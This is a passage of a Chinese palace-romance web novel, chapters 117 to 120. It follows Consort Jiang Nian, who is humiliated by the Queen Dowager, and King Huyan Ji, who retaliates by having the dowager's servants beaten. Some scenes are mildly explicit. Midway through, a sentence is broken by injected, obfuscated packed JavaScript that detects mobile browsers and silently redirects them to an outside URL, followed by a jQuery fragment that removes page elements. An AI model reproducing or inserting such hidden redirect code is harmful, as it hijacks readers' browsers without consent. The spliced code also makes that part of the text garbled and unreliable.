金掌事怔了怔,只好应了一声是,就要出寝殿,却被另一个声音叫住。 “金掌事留步。”江念已重整衣衫,趿鞋下榻。 “老奴叩拜梁妃殿下。” 说着就要行礼,却**念扶住。 “金掌事是圣太后跟前的老人,不必多礼,妾有一句话,还劳掌事带给太后她老人家。” “梁妃殿下但请明示,老奴恭聆。” 江念抬起手,在她面前摊开,掌中是一个小方盒,打开,里面有一粒小药丸,同刚才那一粒同等大小,江念将那药丸拿起,微笑道:“妾身这也有一粒避子丸。”说着,又一笑,“错说了,不止一粒,柜中还放了好些,皆是从宫医那里得的。” 说罢,两指拣起药丸,就要放入口中,却被旁边的呼延吉一把擒住。 “你干什么?!” 江念看着他,抚开他擒住自己的手,仍把那药丸放入口中,一边的宫婢很有眼力地递上茶水,江念接过,仰脖就着水咽下。 “金掌事烦请回圣太后,就说妾知晓该如何做,莫要为了妾身伤了太后她老人家同大王之间的母子情分,不值当。” 金掌事看了江念一眼,暗自点头,记下这一节,恭声道:“梁妃殿下的话,老奴会转告太后。” “掌事若无其他的事情,退下罢。”江念说道。 待人走后,宫婢们以屏风张护,替江念净身,净过身后,众人退下,江念重回床榻,就见呼延吉倚靠在那里,凝着她。 正待她要解释两句,呼延吉开口道:“我知晓你的顾虑,先前你说过。” 一语毕,两人皆不说话了,有些难言缄之于心。 他将她揽入怀里,相拥睡下,可谁也没睡着。 没有子嗣意味着什么,他很清楚,她也清楚,可她仍是这样做了,直到这一刻,呼延吉觉着,相较于自己的刚直和孩子气,江念总在用她的态度包容着他,她的力量既柔软且坚韧。 也是这一刻,呼延吉在心底做出一个重大的谋划。后史**载,夷越王呼延吉擘画天下舆图,半生征伐,鞭挞四海。 江念自然不知呼延吉内心的想法,在他怀里沉沉地睡去。 夜间,她迷糊醒来,身上难受,腿根处更是酸涩,弱弱的光线下,最先感知到的不是眼前的影物,而是额腮温凉的触感,还有掌下劲肌缓缓地起伏。 她就着微弱的烛光,微微仰着脖,是他坚毅的下颌,再用眼一点点摩挲着男人的睡颜,不浓不淡的眉,细窄的眼褶,若他此时睁眼,那眼中便是落下的金乌,眼尾则是游云霞刃,再往下是挺直的鼻,这张脸上的每一个弧度都恰到好处。 江念觉着有些不太真实,可感受到他绵长的呼吸,又特别的安心。 在她细细地用眼描摹他的睡颜时,他动了动,她赶紧闭上眼,假装睡去。 他将头蹭到她的肩间,贴着她的腮,呢喃着:“阿姐……” 她以为他醒了,这一声后,再无动静,只有均匀绵长的呼吸,原是梦中呓语。 慢慢的,江念也跟前睡去,他的身体太热,抱久了就有些黏腻难受,又退不出,反正上半夜没睡好,下半夜也没好睡。 不知几时,睡得迷糊,身侧的动静略略惊动了她,惺忪地睁开眼,帐外点点昏黄的光,透过纱帐看向半掩的窗,外面仍是蓝黑一片。 清凉凉的风吹进帐中,纱帐随风微微鼓动,呼延吉赤着上身从床上坐起,勾过一件松散的白绫软衣,披到身上。 随着男人的动作,那宽整的背部牵出力量的肌线,再一回想昨夜的情景,不免有些耳热,难为她没死在他身下。 在她看向他时,他也回看过来,俯下身,在她嘴角落下一吻。 江念 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呼延吉穿着朝服,回身看了一眼床榻。 晨间清润的风从窗隙穿过屋子,吹动如烟似雾的纱幔,风手揭帘,莹莹玉体透床帷。 他回走到榻边,掀起纱幔一角,将上半身探入帐中,牵起她的腿儿,亲了亲,又在她的脚背上落下一吻,那宽大的裤腿一溜滑到了女人的腿根处,半遮半掩下,勾得人想看得再清楚一点。 江念半睡半醒,不愿动弹,绵软着身,侧过头,眼睛似眼非睁地看向呼延吉。 呼延吉不看还好,一看就动不了似的,脑子里又想起昨夜那一场如糖拌蜜似的鱼水,恨不能再次入帐,连早朝也不想上了。 好在他快速调整过来。 而殿中的宫婢们则垂着首,眼观鼻,鼻观心。 待呼延吉走后,江念很快再次睡去,天亮了才起身,宫婢们再次入内伺候。 彼边…… 高太后坐在镜前,任宫婢替她篦头。 “她真这样说的?”妇人看着镜中的自己,检查脸上是否又多出了纹路。 昨夜金掌事从西殿回了祥云殿,因太后已就寝,便打算次日再回禀。 “是,太后您是知道大王的脾气,王把那药丸碾碎,老奴心想着这事只怕难成了,不想梁妃自己拿出一粒避子丸服下,老奴也是没料到。” 高太后轻嗤一声:“谁知她吃的是不是避子丸,说不准拿一粒假药丸糊弄人。” 金掌事想了想,开口道:“依老奴看,倒像不是,她若真想隐瞒,不必拿一粒假药丸唬骗。”老妇人说着压低了声儿,继续道,“毕竟是大王的枕边人,内帷之事若非她心甘情愿,防是防不住的。” 高太后点点头:“这话也是,她要是个聪明的就知道该怎样做才能好过。” 那梁女若是懂进退,只伴君王侧,不育王嗣,不去妄想她不该想的,那么王庭便能有她一席之地,否则……就算犯下杀戒,她也绝不允许有一丝外族血脉混污王室…… 第117章 揉揉腰 金掌事在一旁应和。 “妲儿起了没?”高太后问道。 金掌事笑道:“早起了,在草场遛马呢,起身时怕吵着您,不敢发出丁点的声响。” “不是我说,这孩子真是个省心听话的,我得多留她在身边,比我那儿子更讨我喜欢,他娶梁女,就是怕气不死我,若非妲儿开解劝导,我已气闭眼了。” “您是大福之人,大王也孝顺……” 金掌事话未说完,高太后便道:“我跟前这么好的一个人儿,他装作看不见,却娶一个梁女,当众说什么把祖宗气活了更好,你听听,我说他是魔王,可有说错?这就是他的孝顺?他若真孝顺就该赶紧立妲儿为大妃。” 说着又道:“从前,他才回来那会儿,同朵氏走得近,我道他要立朵氏为妃,结果这么些年过去……”镜中的贵妇人又是一声叹,“那也是个不顶用的,打量着人家不知道她的心思,装出一副温娴的性子。” 金掌事自然知道这说的是朵氏。 “当下老奴有句话,不知当讲不当讲。” 高氏抚了抚掺白的鬓角:“你在我面前还有什么当讲不当讲的,说来。” 金掌事应是,说道:“太后其实不必太过忧虑,并非老奴宽慰之言,依老奴看,妲姑是个有大主意的,同东殿那位不一样。” 朵家送朵妲儿进王庭,是何用意,高氏清楚,朵妲儿更清楚,大家心里都清楚。 高太后听了,思忖片刻,笑了,这倒也是,从儿子提出立梁女为妃,到如今,妲儿那孩子眼里只有闲适轻松,反倒是朵氏有些沉不住气。 …… 江念下了乘辇,在宫婢的引领下进了祥云殿。 一宫婢从珠帘内走来,躬身道:“梁妃殿下稍候,圣太后还未起身。” 江念已为呼延吉之妃,到祥云殿昏定晨省便少不了,有意思的是,宫婢并未迎她坐下,亦未上茶。 她只好安静地立在殿中等候。 而高氏早已起身,正在后方小园中信步,走了一会儿,走累了,便坐到亭下的椅凳上,宫婢们立时上前,沏茶摆点心,又有几个宫婢上前打扇、捶腿。 “她还在?”高氏问道。 “还在呢,也没敢坐,一直立在那里。”金掌事倒有些不忍,已是立了小半上午,要不是因着那么一层身份,也是顶不错的一人儿。 “她们梁人不是有婆婆给儿媳妇立规矩这么一说,梁国千不好万不好,这一点却是极好,我要好好学一学,几时你们寻些这方面的书籍来,好像叫什么《女诫》《内训》的,叫女子从令顺命,对公婆无条件顺服,还有‘鸡鸣即起,梳洗整齐’‘饭食随分,不敢辞劳’,以“孝养柔顺”为本,我得依着书上的规矩在这梁女身上轮番试一试,看看她的耐性到底有多大。” 金掌事心底嗟叹,只能应下。 江念端着手立在堂间,站得久了,腰肢酸疼难忍,挺直了疼,弯着也疼,完全不能动,稍稍一动就跟要断了一样,昨夜又没休息好,虚乏得头上冷汗涔涔。 只能将大脑放空,看着地上的影儿,正在此时走来一人。 “梁妃殿下,圣太后才起身,她老人家今日身上不好,便不见了,您回罢。”金掌事说道。 江念微笑道:“劳烦金掌事传话。” 金掌事躬身颔首,又招来殿中侍婢:“送梁妃殿下。” 江念在秋月的搀扶下,上了乘辇,坐下的那一刻,才松软了腰肢,靠在椅背上。 待回了西殿,也是一声不吭,不让人瞧出异样,直到进了寝屋,当下反手褪了外裳,掷到地上,又急急走到毡毯前,踢了鞋,歪坐下来。 “秋月,快来给我揉揉腰。” 江念伏趴着,秋月忙跪坐到一边,不敢太用力,轻轻地按压推揉:“主子,好不好一点?” 江念将头埋在臂间,“唔”了一声。 刚揉没几下,珠珠从外间走来,也踢了鞋,跪在江念身侧,拿小手替她揉压。 江念侧过头,正巧瞥见女孩儿一副欲言又止的模样:“怎么了?是不是有什么话?” “阿星姐如今在……在浣洗院做活。”珠珠声音渐低,昨日阿星姐找到她,让她替她在梁妃殿下面前提一提,不用另说好话,只说她在浣洗院做活。 江念回王庭一直没闲下来,被珠珠一提,才记起阿星,她不是在大膳房里做活么,怎么去了浣洗院?那可不是一个好去处。 转念一想,便明了,初时,她怕呼延吉迁怒于阿星,便借口说自己不愿留下阿星,可后来她却留下了珠珠,呼延吉那么样一个人,哪能想不到这里面的关窍。 说到底,还是她连累了阿星。 “知道了。”江念只说出这三个字。 珠珠便不再说了,念念阿姐是心肠顶好的一人儿,她说知道了,那么一定不会不管阿星。 正在此时,有脚步声行来,江念一下子挺起身,应是呼延吉从前殿忙完政务回了。 江念赶忙起身迎出,见了他,就要行礼。 呼延吉担住她,并不说话,执起她的手往内间走去,挥手让殿内的宫人退下,待房中只剩下他二人时,他便微笑着在她脸上抚了抚。 呼延吉见她面色有些不好,便问:“是昨夜没歇好?” 这是一方面,另一方面是在祥云殿立了一上午,不过江念并不打算让他知晓此事,他那脾气若是知道了,必然不好收场。 “妾身没那个富贵命,有些择床,从前在隔间睡惯了,搬到大王那宽榻上,就有些难安睡。” 呼延吉拉她坐下,笑道:“这也好办,我同你一道睡在隔间的小榻上,可好?” 江念吃吃笑起来。 呼延吉又问:“今日去祥云殿,那边可有为难你?” “谁敢难为我,大王也太瞧不起人。” 江念不愿在这件事上多谈,给呼延吉倒了一杯茶,岔开话头,说道:“阿星怎么去了浣洗院了?” 呼延吉想了想阿星是谁,喝了一口茶,说道:“都在王庭做事,在哪里做不是一样?” 江念抿了抿唇,继续 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到了晚间,二人沐过身,呼延吉问她:“是睡小隔间还是王榻?” 江念先是一怔,然后伏到他身上咯咯笑起来,随后他将她抱上床榻,挥下帐幔。 呼延吉知道她昨夜遭罪,不忍再折腾她,只是把人拥着,让她好睡。 次日,呼延吉照往常一样,天未亮便起身,江念起身为他更衣,待人走后,又回榻上睡了一会儿,天稍亮重新梳洗一番,去了祥云殿。 同昨日一样,先在殿中立了好一会儿,以为高太后仍不打算见她,做好了僵立一上午的准备,正思忖间,帘幕打起,高氏在宫婢们的搀扶下雍容步出。 “倒是难为你候了这么久,晨起诵经竟忘了时辰。”高太后话是这么说,却丝毫没有给江念赐座的意思。 “晨昏定省原是本分,太后在佛前为苍生祈福,妾候上整日也是应当的。”江念恭声道。 高氏“嗯”了一声,这时,朵妲儿从后走来,先是看了一眼殿下的江念,然后走到高氏身边问安施礼,再向旁边的宫婢笑道:“昨儿礼吏司着人送来的青核果儿呢?我剥给太后尝尝。” 宫婢听了,立马端来一个盘子,里面垒着一个个如荔枝一般大小的青褐色果子。 这是夷越特有的青核果,核心为青色,是以命为青核果,其仁酥脆,入口又有一股淡奶香。 世间好吃的果儿大多有一通病,内里美味,外壳却不易剥,像是姿容上乘的女子,并非唾手可得,需得下一番功夫。 这青核果便是如此,外皮说硬不硬,可绝称不上软,用甲壳能掐出浅浅的印子,只是浅浅而已,因为再深就掐不动了。 朵妲儿见宫婢端来青核果,正待让人再拿小金钳来,专用来开核的器具。 这个时候,高氏却开口道:“你这丫头笨手笨脚的,剥得好这青果核?”说着,瞥了一眼殿中央的江念,那意思再明显不过…… 第118章 窝进他怀里 江念会意,上前两步,说道:“若是太后不嫌弃,妾愿替太后剥青核果儿。” “既然你有这份孝心,上前来罢。”高氏说道。 江念上前几步,提裙上了三层台阶,侧身到高氏身边,看了一眼那青果核,问道:“可有开壳器具?” 话音刚落,高氏冷笑一声:“罢了,还是让妲儿那粗笨丫头来罢,免得伤了梁妃的指。” 江念忙笑道:“哪就那样娇气了,几个果儿而已,妾这就剥了给太后尝一尝鲜味。” 一边的宫婢上前,替江念净过手,再以巾帕拭净手上的水渍。 江念从盘中拿起一颗青核果,开始用指一点点掐剥,外层的壳很不容易破开,待破开后,还要一点点撕里面的薄皮。 终于剥完一个,核桃大小的外壳,剥出来的仁并不多,江念将其放入玉碟中,宫婢再将玉碟呈到太后面前,高氏拣起放入口中,“嗯”了一声,还算满意。 江念手上不断,已开始剔剥第二个,有了初次经验,后面剥起来就容易一些,可也耐不住一直剔剥。 一双玉纤葱枝手,指尖处已然殷红,跟染了胭脂一般。 高氏双目斜睨,只当看不见。 殿外的阳光渐渐燥热起来,树上蝉声鸣唱,一阵接一阵变得热闹,几声“隆,隆——”沉沉的轰声远远传来,一下又一下击打在人的心上。 是钟鼓楼传来的声音,散早朝了。 “罢了,吃几个解解馋,也够了,你去罢。”高氏说道,她还是有些忌惮小儿子。 宫婢端来清水,江念净过手,退到阶下:“不扰太后清休,妾身告退。” 待江念走后,高氏眉目间隐有担忧,问向一边的朵妲儿:“你说她回去了,会不会诉于我儿?” 朵妲儿宽慰道:“梁妃为媳,您为母,这也是孝敬,能说什么?就是说出来,只会让大王觉着矫情,昨儿她不也来过一趟么?太后不必忧心,到底您才是大王心里的头一位。” 高太后点了点头,是了,若她敢在小儿子面前诉苦,昨日就说了,不会挨到今日,而且儿子也不会真为了一个外族女子,同自己这个母亲过不去。 要么就是她没说,要么就是她说了,小儿子没当回事,无外乎就这两种可能,高太后如此一想,心也就落回肚子里了。 …… 江念回了西殿,依旧让秋月替她揉捏腰部,今日不仅僵站好久,手上也没闲着。 “珠珠,在柜子中间一层拿那瓶青色的瓷瓶来。”秋月一面给江念揉腰一面对珠珠说道。 珠珠赶忙跑去将瓷瓶拿了过来,打开瓶塞,给江念涂抹手指。 往常呼延吉散朝后并不会立即回西殿,还要在议政殿同臣下商讨政事,这日也不例外。 待他回殿已是下午,转了一圈不见江念,遂问向木雅:“梁妃呢?” “回大王的话,秋月同珠珠二人陪同出去的,应是在孔雀苑。”木雅回禀道。 呼延吉点了点头,在外殿坐了一会儿,然后又站起,再坐下,还没坐上一盏茶的工夫,再次起身,径直出了西殿,往孔雀苑行去,才走到孔雀苑的灰白拱门处,就见江念慢慢往外行来,此时天色已有些暗了。 江念看见呼延吉也是一怔,她半个下午都在外面,就怕呼延吉回了西殿,见着她指头红肿,所以干脆避出去,待天暗些,再回西殿,然后借口身上不好,早入帐中,他便注意不到了。 江念走上前,缓缓行礼:“大王准备去孔雀苑?” 呼延吉清了清嗓子,状作随意:“准备去苑里走走,这会儿天也暗了,不去了。” 两人并肩往回走。 回到西殿,江念便去了沐室,若是以往,她都要在池子里泡一泡,这会儿却是十分快速地洗净身子,穿戴好,走回寝屋。 烛光中,呼延吉望了望她的脸,问道:“是不是哪里不舒服?” 江念身子一怔,已是过了一下午,她自问早已调整好神情,不知他为何作此一问。 “兴许月信快来了,身上有些难受。”她的月信确实快来了,每个月的那几日精神总是恹恹的。 呼延吉点了点头:“要不要吃些什么?我让膳房做了来?” “不了,这会儿只想躺下。”江念说道。 呼延吉见她进了帐幔,便不再多问,转身去了沐室,沐身毕,回到寝屋,也上了床榻。 身边的床榻沉了沉,江念感知到他躺下,便转过身窝进他的怀里,觉着很是温暖,昨夜没睡好,困极了,没多久就沉沉睡去,呼吸变得绵长。 待她睡熟后,呼延吉慢慢从床上坐起,放轻手脚下了床榻,捞过一件外衫,随意系上,出了寝屋。 木雅就守在殿外,见呼延吉出来,躬身迎了上去。 “叫秋月来。”呼延吉说道。 木雅应诺去了,不一会儿引了秋月来。 秋月本是睡下了,木雅前来说大王传唤她,不由得心里发慌,这么晚了,大王唤她肯定有事,脑子嗡嗡的,夹着步子随木雅行到君王面前。 “你主子今日碰到什么事没有?”呼延吉问道。 秋月不敢答话,今日在祥云殿发生的事情,梁妃不让她说,可大王又特意传她问话,一时间进退维谷。 “你只管说来。” 上首的声音明显已是不耐。 秋月弱声道:“晨间的时候,梁妃去了祥云殿……” “然后呢?”呼延吉问道。 “圣太后让梁妃殿下剔剥青核果,空着手剥……” 秋月说罢,听不见上首的回音,忐忑不安地咽了咽喉,干脆把昨日圣太后晾着江念,让她独自在殿中立了一上午的事也一并说了。 不论发生何事,她总是向着江念的。 说完,上首仍是没有任何回应,此时夜已深,能听到窗隙呜呜的风声。 终于,男人开口了:“你过来。” 秋月膝行到呼延吉身前,从前她就有些惧这位小阿郎,如今更甚。 呼延吉微微倾下身,说道:“你明日这样……” 秋月听着,连连点头。 呼延吉摆摆手,让人下去,自己转身回了寝屋,掀开床幔,看了眼榻上熟睡的人儿,眼睛又落到她微微蜷起的指上,那指尖因抹了膏子,泛着油亮,油亮的指尖是红红的。 呼延吉轻着手脚,躺到她的身侧,女人睡得很沉,没有醒来。 他将她搁在枕上的手轻轻一握,在她的掌心恋恋地抚了抚,然后亲了亲她红红的指尖。 次日,江念醒来,呼延吉已去了前殿早朝,这一觉她睡得太沉,连他起身也未感知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371306|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,睁眼已是天亮。 秋月带着宫婢们入内,伺候江念梳洗。 “快些,还要去祥云殿,已是有些迟了。”江念催促道,不知是不是她的错觉,秋月今日手脚格外慢,不像往常那般利索。 “是。”秋月嘴上这么说,可手上的动作仍是慢条斯理。 江念心里焦急,在祥云殿内她事事小心,处处谨慎,生怕行错一步,若是去晚了,那边不知要怎么样,正要再催促,秋月却“咦”了一声。 “怎么了?”江念问道。 “那套珍珠玲珑八宝发箍怎么找不着了?” 江念眉间微微蹙起,问道:“是大王送我的那套?” 珍珠八宝发箍,分子母,一大一小,十分稀贵,是呼延吉送她的,她很是珍视,不常佩戴,收放在妆奁中,怎么会不见。 秋月道:“昨儿我还拿出来擦拭,不知是不是婢子放错了地方。” “那你快好好想一想,放到哪里了?”江念倒不疑西殿中人手脚不干净,在王殿当值的人都严格筛选过,这方面一定没问题,且他们也没那个胆子。 秋月便在殿中开始翻箱倒柜地搜寻。 她得了大王的吩咐,让她今日早上借口拖延梁妃去祥云殿的时间,并非不让她去,而是让她晚些去,能晚一点是一点。 她只能尽量延挨时间。 江念满心满眼只有呼延吉送她的那八宝发箍,生怕弄丢了。 好在秋月寻了半晌终是找到了:“看我这记性,定是昨日达娃叫我,我随手把它放到这处角落,待回过身就忘记了。” 江念点点头,接过木匣,看了眼匣子内珠光莹莹的子母发箍,笑道:“找到就好。” 说罢,将木匣关上,亲自收了起来。 此时天已大亮,又耽误了一会儿,江念带人乘辇去了祥云殿。 进了殿中,同头一次那样,站了好一会儿,终于,高氏在朵妲儿的搀扶下缓缓走出来,还有朵氏也一同伴在身侧。 江念上前躬身行礼。 高氏却不作理会,只顾同身边的朵妲儿和朵氏闲话。 “这两日我略略看了看梁国的那本书,叫什么来着?”高氏问向朵妲儿。 朵妲儿微笑道:“回圣太后的话,叫《内训》” “是了,就是这本叫《内训》的册子,很有大道理,做儿媳的不仅需晨间来问安,夜间还需服侍婆母歇下,自己方能归宿歇息,上面还写着,做媳妇的要手勤不辍,才是根本。” 江念半屈着膝,有些架不住,可高氏没让她起身,不仅没免她的礼,嘴里还喋喋说着《内训》,从前在江府时,那《内训》连她母亲都不看,也不让她看,这会儿却被另一妇人耳提面命,很是荒诞。 江念实在听不下去,渐渐直起身子,她的膝盖受不住这般磋磨。 原以为人家说话,没注意到她这里,合着眼角一直看着,她才一起身,就听高氏在上首说道:“准你起身了?这就是你们梁人的规矩?跪下!” 江念听罢,垂下头,弯下双膝,安安静静地跪了下来。 高氏见她恭敬如斯,心里倒很满意。 朵氏两姐妹在高氏跟前凑趣,上首欢欢笑笑,殿中却孤伶伶跪着一道倩薄的人影。 这便是呼延吉进入殿内看到的情景…… 第119章 你身上怎么这样好闻? 呼延吉特意下了一个早朝,平时散朝后还会同臣下在议政殿坐一会儿。 今日提前散朝,一出大殿径直来了祥云殿,也不让人通传,就阔步走了进来。 他就见那道纤薄的身影,腰板挺直地跪在殿中,碎光斜在她的头身上,落在她周围的地面,空气里还有蓝色的灰尘打着旋。 她在笑声里显得那样安静。 呼延吉的心狠狠地抽了一下,在他的印象中,江念不是这样,她变了,那并非一种值得让他高兴的改变。 他将她捧在手心,江家人将她捧在手心,这种躬身下的顺服,不是她,那不是她该有的姿态。 因为他,一切都是为了他…… 江念将笑声隔开,沉在自己的思想里,连上首的笑声几时停的也不知,当她感知到时,手臂上多了一个力道,将她从地上拉起。 她回望过去,不是别人,正是呼延吉,此时殿中人除了高氏,俱伏地跪下。 他环护着她走到一侧的座椅边,轻声道:“阿姐,坐下。” 江念不知他怎么这个时候来了,预感接下来有事要发生。 待江念落座后,呼延吉走到高太后右手边的上座,撩衣坐下。 高氏到底有些心虚,不知他是何意,开口道:“梁妃过来请安,现下大王来了,把人带回罢。” 呼延吉缓缓点了点头,并不看高氏,开口道:“本王坐了这一会儿,连个上茶的人都没有,母后殿里的人好大的架子!” 伏跪的众人心底大叫冤枉,大王您不叫起身,咱们这些人哪个敢动?既然不能动,又如何给您上茶水? 众人心中叫苦,却听上首君王一声吩咐:“来人!” 立时从殿外进来十几名银甲亲卫,一进来,整个殿里的空气都往下沉。 “每人二十大棍,拉下去,打罢。”呼延吉将身子往后仰靠,闲闲说道:“儿子今日有时间,就在这里替母后教教奴才们规矩,儿子也知母亲最是讲规矩的一人,刚才隐约听到《内训》二字,虽未拜读过,不过从那字面便知,内训!内训!就是从内部开始教训。” 高氏听后,两眼直瞪瞪,差点喷出一口老血,这小混账说的什么歪理?! 呼延吉不睬她,淡漠道:“开始罢。” 亲卫将殿中的奴才一个一个往外拖,只听得殿外棍子落在肉上的“啪,啪——”声,又清脆又响亮,却听不见人声,只因亲卫怕扰到君王,便将宫人的嘴塞住,不让其发出声音。 高氏气得脸色发青发灰,两腮松弛的肉打着颤儿,这哪是在打那些奴才们,这是在打她的脸呐! 外面的每一声,都结结实实地落在她的脸颊上,火辣辣地烧疼。 朵妲儿同朵氏仍伏跪在地。 斜光中,朵妲儿发现地上零星的影闪闪晃动,不知是什么东西,遂抬眼看去,惊了一下,那晃动的东西是长姐头上的坠苏,坠苏晃动是因为人在发颤。 她那位一向高高在上的长姐居然止不住地颤抖。 朵妲儿心惊,怎的怕成这样? 江念展眼看去,整个殿中,只有三人坐着,那三人便是上首的高太后、呼延吉,还有下首的她。 再就是不时进出的亲卫,把跪伏在地面的祥云殿宫人架出去。 她望向呼延吉,想要起身说两句,毕竟宫人们无辜,却见呼延吉暗中朝她压了压手,只好静静地端坐在那里。 她明白,他这是故意惩戒祥云殿的宫人压高太后的气焰,如此大动干戈,也是为了让王庭所有人知晓,让所有人看清,她的背后有他,她不是可以被随意对待的,他在给她做脸。 “逆子!逆子!”高太后拍着椅扶,气骂道。 “母亲莫要动怒,为我这么个逆子气坏了身子不值当。”呼延吉的语气很是随意。 殿外的刑杖声还在继续,殿里的宫奴已被拉出去七七八八,此时从外进来两名亲卫,走到高氏身侧立住脚,没有丝毫迟疑地将高氏身侧伏跪的一人拉起。 正是高氏跟前的女官,金掌事。 一向严肃寡面的金掌事这会儿面色也变了,意识到这次君王是真的恼了。 从前大王来祥云殿,哪怕圣太后不待见王,王并不在意,态度依旧恭敬,如今却为了梁妃公然威压太后。 她一把老骨头真要挨上几板子,板子还未打完,估计就得断气,正想着,架在她两侧的亲卫突然松开手,就听大王说道:“今日就免了金掌事的责罚,你是太后跟前的老人,平日该多劝着她一些才是。” 金掌事吁出一口气,连连称是。 呼延吉看了眼地上的朵家两姐妹,再从她二人身上移开,起身,走到高氏面前:“人也教训完了,儿子告退,母亲千万保重身子。” 高氏不语,扬手往呼延吉脸上扇去,她对这个小儿子半分都近亲不起来。 她也坚信小儿子对她没有多少亲情,两人维持着表面的平和,不过是身份使然,当然了,这个身份无关乎母子情。 高氏恨透了梁国,她将大儿子的死归罪于梁,归罪于梁人。 所以她对自小在梁国长大的呼延吉,便看哪儿都不顺眼,看哪儿都是错,这种偏执全无道理,高氏却不管那么多,她认为呼延吉能回来,是呼延成用命换的。 不然为什么他明明有两个孩子,现在只有一个了,因为一命换一命。 妇人的手高高扬起,也不管身旁有无有人,一记重重的耳刮就要落在呼延吉的脸上,预料中的巴掌声没有响起,挥动的手被另一只手截住。 余下的众人听见异动,不免抬头看个究竟,截住太后之人正是一直未曾出声的梁妃! 众人无不震诧当场,尤其是朵氏两姐妹和金掌事,她们就在高氏身侧,纵然跪着,眼角的余光也能让她们获悉正在发生的事情。 江念躬下身,轻声道:“大王对太后一片孝心,然,即便太后是母亲,也不能 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适才,他见她跪在殿中,挺直的腰还有微垂下的头,在光尘中寂然的背影,他说她变了,为了他,她变得乖顺,变得忍耐,可有一点,自始至终未曾变过,她仍是那个为了他可以奋不顾身,挺身而出的江家女郎。 高氏面皮涨红,嘴里连连说着“好,好,好”,显然气极,沉了两息,字从牙间蹦出:“我打不得他,还打不得你?!” 说着就要扬手,却被一个声音揿住。 “母后!”只这两个字,再没有别的了。 高氏从小儿子嘴里听出了一丝隐隐的威胁,这威胁她当然是不惧的,就算他为君,却不敢对她这个母亲怎样,这也是她的倚仗,小儿子不敢对她不敬。 然而,高氏千算万算还是算漏了一点,当着呼延吉的面对江念动手,已然触碰到呼延吉的底线,而呼延吉的那一声“母后”,她当时并未知晓其中的意思,待明了时已经晚了。 呼延吉带江念离开后,殿中众人仍不敢起身。 高太后怔愣着,小儿子离开前的那一眼蓦地让她心漏跳一拍,浑身窜起寒意,最后只能自我譬解,是她想多了。 …… 呼延吉同江念回西殿,路上两人各自坐着乘辇,没有言语,待进了西殿,呼延吉挥手让人退下,殿中只他二人。 呼延吉走到露台处,坐到泉水边的玉矶上,招手让江念上前,江念便走到他的跟前,侧身坐下。 “手指还疼不疼。” 她将手摊出来给他看。 他拿起她的手,好一番端相,原本好看的指甲短了一截,应是当时剔青核果时劈折,后来回到西殿让宫婢给她重新修剪过。 指头还好,红肿褪去了些。 “怎么今日下朝这么早?”江念问道,其实她是想问,他怎么察觉出异常的,不然不会那么凑巧,俨然专为她去的。 呼延吉没有立即回答,而是往她身侧靠了靠,问道:“你身上擦的什么香,怎么这样好闻……” 第120章 叫一声夫君我听听 江念见呼延吉问她身上的香,有些得意:“我自己调制的,只有我是这个香味,再无他人,大王喜欢么?” 呼延吉埋首在她肩间“唔”了一声:“以后就这个香罢。” 江念推了推他:“问你正经事,你又扯旁的。” 男人这才抬起头,说道:“自小就在一处,怎会连你开心不开心都看不出来。” 正如呼延吉所说,他了解她,同样的,她也了解他。 呼延吉实是很渴望高太后的亲近,那是他日思夜想的母亲,在梁国时,他会在她面前提及自己的母亲,说自己母亲年轻时是夷越第一美人儿。 他说那话时眼里有光。 有时候,呼延吉看见她的母亲对江轲的关爱,那面上的神情也会不一样,眼里有些曲折,有渴望,像是透过她的母亲在看他的母亲。 今日为了她同高太后撕破脸,如此一来母子二人连明面上的平和都没有了。 “要不明日我请安时,同太后赔个不是,再捡些好听的说与她听,她信佛的人,总不会是石头心肠。”江念说道。 “不必,以后那边的晨昏定省免了。” “那怎么行。” 其实她也不想去,然而却不妥当,她不去给高太后请安,先不说别人怎样看待,祥云殿那边就不会同意,今日有呼延吉在身边,可他总不能一直守着她,他也有自己的事务。 呼延吉不在跟前,高太后想要拿捏她简直不要太容易。 呼延吉心疼她,她却不能让他难做,既然自己选择了这条路,选择了同他站在一起,就算跪着也得走完。 呼延吉笑道:“你心中忧惧我知晓,安心,我心中自有计较。” “什么计较?” 男人只笑一笑,并不言明,接着说道:“这些天你对外称病,待过了这段时日就好了。” 江念还待再问,却被呼延吉打横抱起,往寝屋走去。 如烟似雾的轻纱帐落下,之前江念还信誓旦旦说,再不让呼延吉碰她,再不受这劳什子罪,往来间,一点也不像书上说得爽利。 可真当他的指抚过她的身体,心底却是渴望他的碰触,仍是有些疼,却比头一次好太多,慢慢的也从中得了些趣儿。 呼延吉看着身下的人儿,女人星欠着眼,双腮带赤,他低眼睨着她的情态,伸手将她轻咬的下唇捻弄开。 “当心咬破了……”行事中,呼延吉气息有些不匀。 江念哼唧两声,强忍着不发出声音,认为发出声音怪丑的,她越是这样,呼延吉就越想逗弄她,于是俯下身子,湿**贴着她,凑到她的耳边,蛊惑道:“阿姐,你怎么不说话?我想听听你的声音。” “说……什么……”江念声娇气软,哪里知道呼延吉的坏心眼,殊不知她一开口就趁了他的意,就想听听她那语不成调的别样趣味。 “说什么都行,就想听听你的声音……”男人的语调带了些力道,转而撑起身,依旧往下睨着,笑了笑:“叫一声夫君。” 江念又羞又别扭,哪里叫得出口,虽说呼延吉是她的夫君,可让她叫“夫君”两个字,她是万万说不出口,她怎能叫从前的小小子夫君呢。 最后的最后,呼延吉也没让江念开口叫他一声“夫君”,到后来,这么一个再自然不过的小要求,成了呼延吉的执念。 事毕,江念吃了一粒避子丸,绵软地睡了过去,呼延吉在她后背印下一朵红痕,然后披衣下榻,随意系上衣带坐到矮几边,喝了两口冷茶。 呆坐了一会儿,不知在想什么。 “进来人。”呼延吉声音不大,却足以让时刻应候的宫婢们听见。 不一会儿脚步声靠近,达娃等几个大宫婢进到寝屋内,不用另外再吩咐,开始给呼延吉更衣理装。 在给呼延吉更衣的时候,达娃偷觑了一眼轻纱帐,隐约透出王榻上躺着的人,心下又是一叹,不过叹归叹,却再不敢生出别的想法。 